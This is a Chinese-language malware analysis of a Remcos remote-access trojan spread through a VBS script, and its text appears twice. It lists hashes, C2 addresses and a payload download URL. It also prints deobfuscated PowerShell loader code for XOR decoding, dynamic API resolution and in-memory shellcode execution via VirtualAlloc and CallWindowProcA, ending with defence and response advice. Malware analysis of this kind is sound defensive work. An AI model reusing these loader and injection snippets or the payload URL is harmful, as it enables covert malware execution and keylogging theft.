对vbs文件传播远程访问木马的粗浅分析
字数 2053 2025-08-22 18:37:22

Remcos远程访问木马分析及防御指南

一、Remcos木马概述

Remcos是一种功能强大的远程访问木马(RAT),自2016年在暗网黑客社区首次出售以来一直保持活跃状态。该恶意软件在全球恶意软件排名中位列第九,每月都会发布新版本,显示出其持续的开发和维护。

二、样本基本信息

2.1 文件信息

  • 文件类型: VBS脚本文件
  • 哈希值:
    • MD5: 67E1E122A412C456946E5206247A92EB
    • SHA1: 7262D0EBF405CE41C1000D6E3940099CDB0B8E4B
    • SHA256: 68796E148BE21FCCE665281CE32941C6BE58028BEFB85B7789253DFDE8D9E68E
  • C2服务器: 103.237.87.156:1993

2.2 感染流程

  1. 初始VBS脚本执行
  2. 调用wscript.exe执行恶意命令
  3. 启动PowerShell进行后续操作

三、技术分析

3.1 VBS脚本分析

初始VBS脚本会启动PowerShell执行混淆后的命令,主要功能包括:

' 示例VBS代码片段
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -command ""混淆的命令""", 0, True

3.2 PowerShell反混淆技术

攻击者使用了多层混淆技术来隐藏真实意图:

3.2.1 字符串提取函数

function fyrstendmme($input_string, $fightet) {
    $breddesekunder = $input_string.Length - $fightet
    $unblessed = ""
    for ($standsforskellenes = 7; $standsforskellenes -lt $breddesekunder; $standsforskellenes += 8) {
        $unblessed += $input_string.Substring($standsforskellenes, $fightet)
    }
    return $unblessed
}

对应的Python实现:

def fyrstendmme(input_string, fightet):
    breddesekunder = len(input_string) - fightet
    unblessed = ""
    for standsforskellenes in range(7, breddesekunder, 8):
        unblessed += input_string[standsforskellenes:standsforskellenes+fightet]
    return unblessed

3.2.2 关键变量解密

解密后得到的关键信息:

  • 用户代理字符串: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  • 下载URL: http://103.237.86.247/Fremmeligste.xsn
  • 执行命令: iex (Invoke-Expression)
  • 文件路径: %appdata%\Dobbeltrudens140.Aff

3.3 网络通信行为

  1. 设置TLS 1.2安全协议:

    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    
  2. 创建WebClient对象下载恶意文件:

    $global:Natskifte = New-Object System.Net.WebClient
    
  3. 检查文件是否存在循环:

    while(!$Kriminalistiske) {
        Start-Sleep 4
        $global:Kriminalistiske = (Test-Path $Uhjlpeligste)
    }
    

3.4 内存操作技术

  1. 从Base64编码文件中提取特定内容:

    $global:Spuming = [System.Convert]::FromBase64String($Trommesalsmaleri)
    $global:Journalnummeret = [System.Text.Encoding]::ASCII.GetString($Spuming)
    $global:Gennemsigtigt = $Journalnummeret.substring(302269, 28958)
    
  2. 系统架构检测:

    $global:Submission = ([IntPtr]::size -eq 8)  # 检测是否为64位系统
    

3.5 高级混淆技术

3.5.1 异或解密函数

function Dorsiventral($Teters, $Bauxitite) {
    return $Teters -bxor $Bauxitite
}

function reallnningers($Skabiosaernes, $Ugerningers=0){
    $Tetersntitoksinet = 2
    $global:Ripens = New-Object byte[]($Skabiosaernes.Length/2)
    for($Episome=0; $Episome -lt $Skabiosaernes.Length; $Episome+=$Tetersntitoksinet){
        $global:Ripens[$Episome/2] = [convert]::ToByte($Skabiosaernes.Substring($Episome,2),16)
        $global:Ripens[$Episome/$Tetersntitoksinet] = Dorsiventral $global:Ripens[$Episome/$Tetersntitoksinet] 127
    }
    $global:Adgangsvejene = [String][System.Text.Encoding]::ASCII.GetString($global:Ripens)
    if($Ugerningers){return $global:Adgangsvejene}else{return $global:Adgangsvejene}
}

对应的Python实现:

def dorsiventral(teters, bauxitite):
    return teters ^ bauxitite

def reallnningers(skabiosaernes, ugerningers=0):
    tetersntitoksinet = 2
    ripens = bytearray(len(skabiosaernes) // 2)
    for episome in range(0, len(skabiosaernes), tetersntitoksinet):
        ripens[episome // 2] = int(skabiosaernes[episome:episome+2], 16)
        ripens[episome // tetersntitoksinet] = dorsiventral(ripens[episome // tetersntitoksinet], 127)
    adgangsvejene = ripens.decode('ascii')
    if ugerningers:
        return adgangsvejene
    else:
        return adgangsvejene

3.5.2 动态API调用

  1. 获取API地址:

    function bunkevist($Electroretinograph, $Sljdlrernes) {
        $global:Hellebardists = [AppDomain]::CurrentDomain.GetAssemblies()
        $global:Unpregnant = ($Hellebardists | Where-Object {$_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
        $global:Reupholsters = $Unpregnant.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [string]))
        return $Reupholsters.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($Unpregnant.GetMethod('GetModuleHandle'))).Invoke($null, @($Electroretinograph)))), $Sljdlrernes))
    }
    
  2. 动态委托创建:

    function Enveloping([Parameter(Position=0)][Type[]]$Bauxititeagdelenes, [Parameter(Position=1)][Type]$Unblinking=[Void]) {
        $global:Laik = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $Laik.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Bauxititeagdelenes).SetImplementationFlags('Runtime, Managed')
        $Laik.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $Unblinking, $Bauxititeagdelenes).SetImplementationFlags('Runtime, Managed')
        return $Laik.CreateType()
    }
    

3.6 内存注入技术

  1. 使用VirtualAlloc分配内存:

    $global:Influenzalignende8 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bunkevist kernel32 VirtualAlloc), (Enveloping @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    
  2. 内存保护修改:

    $global:Afvendelsernes = $Influenzalignende8.Invoke($Socialrealismes, 30142464, $Weedage, $Splenetive)
    
  3. 内存复制操作:

    [System.Runtime.InteropServices.Marshal]::Copy($Spuming, $Socialrealismes, $tuberiform, 650)
    [System.Runtime.InteropServices.Marshal]::Copy($Spuming, 650, $Afvendelsernes, $Kyphosis)
    
  4. 最终执行:

    $global:Centralfyrets = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bunkevist USER32 CallWindowProcA), (Enveloping @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr])))
    $Centralfyrets.Invoke($tuberiform, $Afvendelsernes, $Bauxititeasidiolichenes189, $Socialrealismes, $Socialrealismes)
    

四、恶意行为分析

4.1 下载器功能

  • 从指定URL下载PDF文件
  • 使用硬编码的Base64字符串作为DES密钥解密文件
  • 将解密后的数据写入内存

4.2 内存操作

  • 使用Umbdvs类中的Zvaanddn方法分配内存
  • 关键API:
    • VirtualAlloc: 分配内存
    • EnumCalendarInfo: 枚举日历信息(可能用于反分析)
    • VirtualProtect: 修改内存保护属性

4.3 键盘记录功能

  • 生成logs.dat文件记录键盘输入
  • 可能包含敏感信息如密码、账号等

4.4 持久化技术

  • 在%appdata%目录下创建文件
  • 可能通过注册表或启动项实现持久化

五、检测与防御措施

5.1 检测指标(IOC)

  • 文件哈希(见2.1节)
  • C2服务器: 103.237.87.156:1993
  • 相关URL: http://103.237.86.247/Fremmeligste.xsn
  • 文件路径: %appdata%\Dobbeltrudens140.Aff

5.2 防御建议

5.2.1 技术防护

  1. 脚本控制:

    • 禁用或限制VBS和PowerShell脚本执行
    • 启用脚本日志记录和监控
  2. 内存保护:

    • 启用防漏洞利用保护(如Windows Defender Exploit Guard)
    • 监控可疑的内存分配操作
  3. 网络防护:

    • 阻止与已知C2服务器的通信
    • 监控异常出站连接
  4. 行为监控:

    • 检测PowerShell的异常使用模式
    • 监控Base64解码和内存修改操作

5.2.2 管理措施

  1. 定期更新安全补丁
  2. 限制管理员权限使用
  3. 实施应用程序白名单
  4. 开展安全意识培训

5.3 应急响应

  1. 隔离受感染系统
  2. 收集内存转储和日志进行分析
  3. 重置可能泄露的凭据
  4. 全面扫描系统清除残留

六、分析工具推荐

  1. 静态分析:

    • IDA Pro/Ghidra: 逆向分析二进制文件
    • PowerShell ISE: 分析PowerShell脚本
    • CyberChef: 解码混淆数据
  2. 动态分析:

    • ProcMon: 监控进程行为
    • Wireshark: 分析网络流量
    • Process Hacker: 检查内存操作
  3. 专业沙箱:

    • Cuckoo Sandbox
    • Joe Sandbox
    • Hybrid Analysis

七、总结

Remcos木马通过高度混淆的VBS和PowerShell脚本实现初始入侵,利用多种反分析技术和内存注入技术实现隐蔽执行。攻击者精心设计了多层混淆和加密机制来绕过传统安全检测。防御此类威胁需要多层防护策略,重点关注脚本控制、内存保护和行为监控。

Remcos远程访问木马分析及防御指南 一、Remcos木马概述 Remcos是一种功能强大的远程访问木马(RAT),自2016年在暗网黑客社区首次出售以来一直保持活跃状态。该恶意软件在全球恶意软件排名中位列第九,每月都会发布新版本,显示出其持续的开发和维护。 二、样本基本信息 2.1 文件信息 文件类型 : VBS脚本文件 哈希值 : MD5: 67E1E122A412C456946E5206247A92EB SHA1: 7262D0EBF405CE41C1000D6E3940099CDB0B8E4B SHA256: 68796E148BE21FCCE665281CE32941C6BE58028BEFB85B7789253DFDE8D9E68E C2服务器 : 103.237.87.156:1993 2.2 感染流程 初始VBS脚本执行 调用wscript.exe执行恶意命令 启动PowerShell进行后续操作 三、技术分析 3.1 VBS脚本分析 初始VBS脚本会启动PowerShell执行混淆后的命令,主要功能包括: 3.2 PowerShell反混淆技术 攻击者使用了多层混淆技术来隐藏真实意图: 3.2.1 字符串提取函数 对应的Python实现: 3.2.2 关键变量解密 解密后得到的关键信息: 用户代理字符串: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 下载URL: http://103.237.86.247/Fremmeligste.xsn 执行命令: iex (Invoke-Expression) 文件路径: %appdata%\Dobbeltrudens140.Aff 3.3 网络通信行为 设置TLS 1.2安全协议: 创建WebClient对象下载恶意文件: 检查文件是否存在循环: 3.4 内存操作技术 从Base64编码文件中提取特定内容: 系统架构检测: 3.5 高级混淆技术 3.5.1 异或解密函数 对应的Python实现: 3.5.2 动态API调用 获取API地址: 动态委托创建: 3.6 内存注入技术 使用VirtualAlloc分配内存: 内存保护修改: 内存复制操作: 最终执行: 四、恶意行为分析 4.1 下载器功能 从指定URL下载PDF文件 使用硬编码的Base64字符串作为DES密钥解密文件 将解密后的数据写入内存 4.2 内存操作 使用Umbdvs类中的Zvaanddn方法分配内存 关键API: VirtualAlloc: 分配内存 EnumCalendarInfo: 枚举日历信息(可能用于反分析) VirtualProtect: 修改内存保护属性 4.3 键盘记录功能 生成logs.dat文件记录键盘输入 可能包含敏感信息如密码、账号等 4.4 持久化技术 在%appdata%目录下创建文件 可能通过注册表或启动项实现持久化 五、检测与防御措施 5.1 检测指标(IOC) 文件哈希(见2.1节) C2服务器: 103.237.87.156:1993 相关URL: http://103.237.86.247/Fremmeligste.xsn 文件路径: %appdata%\Dobbeltrudens140.Aff 5.2 防御建议 5.2.1 技术防护 脚本控制 : 禁用或限制VBS和PowerShell脚本执行 启用脚本日志记录和监控 内存保护 : 启用防漏洞利用保护(如Windows Defender Exploit Guard) 监控可疑的内存分配操作 网络防护 : 阻止与已知C2服务器的通信 监控异常出站连接 行为监控 : 检测PowerShell的异常使用模式 监控Base64解码和内存修改操作 5.2.2 管理措施 定期更新安全补丁 限制管理员权限使用 实施应用程序白名单 开展安全意识培训 5.3 应急响应 隔离受感染系统 收集内存转储和日志进行分析 重置可能泄露的凭据 全面扫描系统清除残留 六、分析工具推荐 静态分析 : IDA Pro/Ghidra: 逆向分析二进制文件 PowerShell ISE: 分析PowerShell脚本 CyberChef: 解码混淆数据 动态分析 : ProcMon: 监控进程行为 Wireshark: 分析网络流量 Process Hacker: 检查内存操作 专业沙箱 : Cuckoo Sandbox Joe Sandbox Hybrid Analysis 七、总结 Remcos木马通过高度混淆的VBS和PowerShell脚本实现初始入侵,利用多种反分析技术和内存注入技术实现隐蔽执行。攻击者精心设计了多层混淆和加密机制来绕过传统安全检测。防御此类威胁需要多层防护策略,重点关注脚本控制、内存保护和行为监控。